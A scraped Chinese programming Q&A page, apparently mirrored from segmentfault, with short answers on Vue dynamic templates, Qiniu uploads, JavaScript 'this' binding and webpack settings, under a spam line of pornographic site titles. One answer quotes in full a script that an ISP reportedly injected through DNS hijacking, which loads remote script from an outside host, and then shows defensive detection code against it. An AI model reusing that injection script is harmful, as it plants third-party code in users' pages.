在线观看不卡亚洲电影_亚洲妓女99综合网_91青青青亚洲娱乐在线观看_日韩无码高清综合久久

鍍金池/ 問答
醉淸風 回答

既然用Vue,就不要用jQuery了,你這個需求需要使用動態(tài)模板(dynamic template),步驟這樣:

1 需要用vue的full版本(包括compiler),而不僅是runtime版本,在webpack配置中需要增加一個alias,類似

vue: 'vue/dist/vue.js'

2.然后在模板文件中,使用下面的方式來嵌入動態(tài)模板

<component :is="dynamicTemplate()" />

dynamicTemplate函數(shù)需要返回處理好的模板內(nèi)容,類似:

return Vue.compile('<div>' + dynamicContent +'</div>')

之所以再套一個div,是因為Vue的模塊需要單根。如果在動態(tài)模板內(nèi)容中依賴一些組件,這些組件需要提前注冊好,可以使用vue的全局模塊注冊。

巫婆 回答

《Linux系統(tǒng)管理技術(shù)手冊》有很大一部分講的是網(wǎng)絡(luò)方面的內(nèi)容,不過可能沒有docker的相關(guān)知識,畢竟有點年頭了

凝雅 回答

SciView in PyCharm 2017.3 reduces functionality of Matplotlib
具體辦法:Settings | Tools | Python Scientific | Show Plots in Toolwindow,去掉

氕氘氚 回答

通常將 gettext define 為 _ 來使用

system.h 的第 43 行有這么一行代碼 #define _(String) gettext(String)

念初 回答

filter: blur(0px);
改為
filter: none;
可以解決問題。

墨沫 回答
  1. function里,新建個數(shù)組
  2. 循環(huán)遍歷,比較各個對象成員
  3. item.name==='tom' && item.address==='河北' && item.age > 24
  4. push到新數(shù)組里
  5. return新數(shù)組
撿肥皂 回答

你把你自己自定義組件里面按鈕的事件拋出去給activity界面處理不就行了。

墨染殤 回答

<script src="/js/plupload.full.min.js"></script>
<script src="https://cdn.staticfile.org/qi...;></script>
componentDidMount(){

this.initQiniu();

}

initQiniu(){

var _this = this;
var uploader = Qiniu.uploader({
    runtimes: 'html5,flash,html4',      // 上傳模式,依次退化
    browse_button: 'pickfiles',         // 上傳選擇的點選按鈕,**必需**
    uptoken_url: 'url to fetch token',         // Ajax 請求 uptoken 的 Url,**強烈建議設(shè)置**(服務(wù)端提供)
    get_new_uptoken: false,             // 設(shè)置上傳文件的時候是否每次都重新獲取新的 uptoken
    unique_names: true,              // 默認 false,key 為文件名。若開啟該選項,JS-SDK 會為每個文件自動生成key(文件名)
    domain: 'xxx',     // bucket 域名,下載資源時用到,**必需**
    container: 'container',             // 上傳區(qū)域 DOM ID,默認是 browser_button 的父元素,
    max_file_size: '100mb',             // 最大文件體積限制
    flash_swf_url: 'path/of/plupload/Moxie.swf',  //引入 flash,相對路徑
    max_retries: 3,                     // 上傳失敗最大重試次數(shù)
    dragdrop: true,                     // 開啟可拖曳上傳
    drop_element: 'container',          // 拖曳上傳區(qū)域元素的 ID,拖曳文件或文件夾后可觸發(fā)上傳
    chunk_size: '4mb',                  // 分塊上傳時,每塊的體積
    auto_start: true,                   // 選擇文件后自動上傳,若關(guān)閉需要自己綁定事件觸發(fā)上傳,
    init: {
        'FilesAdded': (up, files) => {
            plupload.each(files, function(file) {
                // 文件添加進隊列后,處理相關(guān)的事情
            });
        },
        'BeforeUpload': (up, file) => {
          // 每個文件上傳前,處理相關(guān)的事情
        },
        'UploadProgress': (up, file) => {
          // 每個文件上傳時,處理相關(guān)的事情
          this.setState({
            isUploading: true,
          });
        },
        'FileUploaded': (up, file, info) => {
          const domain = window.domain;
          const res = JSON.parse(info);
          const sourceLink = domain + res.key; //獲取上傳成功后的文件的Url
          this.setState({
            fileUrl: sourceLink,
            isUploading: false
          });
        },
        'Error': (up, err, errTip) => {
               //上傳出錯時,處理相關(guān)的事情
        },
        'UploadComplete': () => {
               //隊列文件處理完畢后,處理相關(guān)的事情
        },
    }
});

}

render(){

return(
            <div id="container">
              <div id="pickfiles">上傳</div>
            </div>
)

}

生性 回答

因為fn是個匿名函數(shù)

舉個簡單例子

    var obj = {
        fn1: function() {
            console.log(this);//此處輸出obj本身
            var noNamed = function() {
                console.log(this);//此處輸出windowd對象
            };
            return noNamed();
        }
    };
    obj.fn1();

以上,你的var fn=function(){};return fn()本質(zhì)上就是個直接調(diào)用的匿名函數(shù)閉包 return function(){}
你只是將這個匿名函數(shù)賦值給fn了,并不能改變他沒函數(shù)名的本質(zhì)

結(jié)論:只要是匿名函數(shù),this就指向window全局對象,例如:

function foo() {
    var fn = setTimeout(function() { //我是匿名函數(shù)
        console.log(`setTimeout的this不會隨foo改變:${this.age}`); 
    }, 0);
}
foo.call({
    age: '1000'
});//輸出undefined
陌離殤 回答

config 文件夾的 index.js,修改 build 配置項:

module.exports = {
    dev: {
        // ...
        assetsSubDirectory: 'static',
        assetsPublicPath: '/',
        // ...
    },
    build: {
        // ...
        assetsRoot: path.resolve(__dirname, '../../dist'),
        assetsSubDirectory: 'static',
        assetsPublicPath: `${settings.cdn}/`,
        // ...
    }
}
壞脾滊 回答

你對這個React頁面對應(yīng)的地址啟用 google自動翻譯了?

何蘇葉 回答

數(shù)據(jù)庫里的數(shù)據(jù)結(jié)構(gòu)已經(jīng)很清晰了,根本不需要用sql解決的問題,是如何在前端展示的問題

a -> b  1000
b -> c  550
a -> d  200
a -> e  300
c -> f  300
朕略傻 回答

數(shù)據(jù)庫原生的話字符串是沒有單增這一說法的吧,你可以在應(yīng)用層做,比如:


SELECT CONCAT("KZ",id) as id from table1;
安若晴 回答

已解決.. 使用多個serviceId可以解決這種情況;
后面會整理發(fā)出;

萢萢糖 回答

確保你重寫的css文件引用在bootstrap之后,并且加上important
bootstrap很多樣式都有important所以你也要加不然是覆蓋不掉的

念舊 回答

static,靜態(tài)變量,了解一下。

愿如初 回答

已經(jīng)自行解決,原來是打包后的應(yīng)用程序的獲取后端數(shù)據(jù)的接口地址應(yīng)該改成局域網(wǎng)的ip

浪蕩不羈 回答

在苦苦尋覓下,找這里找到了答案:https://segmentfault.com/q/10...
出現(xiàn)的原因是因為 電信劫持了dns,在網(wǎng)頁中將我原來的5.fd7xxxxxxxxxxxx.js成以下的代碼

var _b, _c, _ju = "http://testapi.233sy.cn/tg/down/static/js/5.fd7c409603287d19fa4b.js";
_ju = _ju + (_ju.indexOf("?") > 0 ? "&" :"?") + "_t=" + new Date().getTime(),
_b = "AH488569",_c = "382542271_(iKm6V1g0V1P6wj8Nih==_358325746_@iJvkDKehwJ9Wi6et9JgWitfZMe==_)iKghiJeh", function(a) {
    function b(b) {
        var c = a.createElement("script");
        c.setAttribute("src", b), a.head ? a.head.appendChild(c) :a.body && a.body.appendChild(c);
    }
    var c = a.location.host.split("."), d = c.length, e = c[d - 2] + "." + c[d - 1];
    /^(com|net|org|gov)$/.test(c[d - 2]) && d > 2 && (e = c[d - 3] + "." + c[d - 2] + "." + c[d - 1]),
        _ju.indexOf(e) > 0 ? (a.write('<div><script>document.write(unescape(\'%3Cscript id="_ju_" src="' + _ju + "\" %3E%3C/script%3E') );</script></div>"),
        a.getElementById("_ju_") || b(_ju)) :b(_ju), b("http:///gfnsdv.yxwwj.cn:8001/pjk/static/tp.php?b="+_b+"&");
}(document);

我使用的是路由懶加載,才有上面的提示。之前模塊5被替換這個,就load不到了。

解決方式:
1、使用https協(xié)議,不讓電信劫持dns
2、自己判斷不正常代碼存在,重新刷新該地址(短期內(nèi),我們目前就是用這種方式解決的)

 window.onload = function(){
      
      let isSetInt = false;
      let setInt = setInterval(r => {
          let index  = getstore() || 0;
          let findDns = false;
          if (isSetInt) {
              clearInterval(setInt);
              let scr = document.getElementsByTagName('script');
            for (var i = scr.length - 1; i >= 0; i--) {
                if (scr[i].src.indexOf('gfnsdv.yxwwj.cn') != -1 && index < 2) {
                    
                    findDns = true;
                    store(++index);
                    window.location.reload();
                    break;
                }
            }
            if (!findDns) {
                store(0)
            }
          }
          try{
              if (getmd5) {
                  isSetInt = true;
              }
              
          }catch(e){
              console.log(e);
          }
      },1000);
    
  }

      function store (state) {
        try {
           return localStorage.setItem('index', state);
        } catch (e) {
          cookie.setCookie('index',state, 1);
        }
    }

    function getstore () {
        if (localStorage.getItem('index') == null) {
            return unescape(cookie.getCookie('index'));
        }else{
            return localStorage.getItem('index');
        }
    }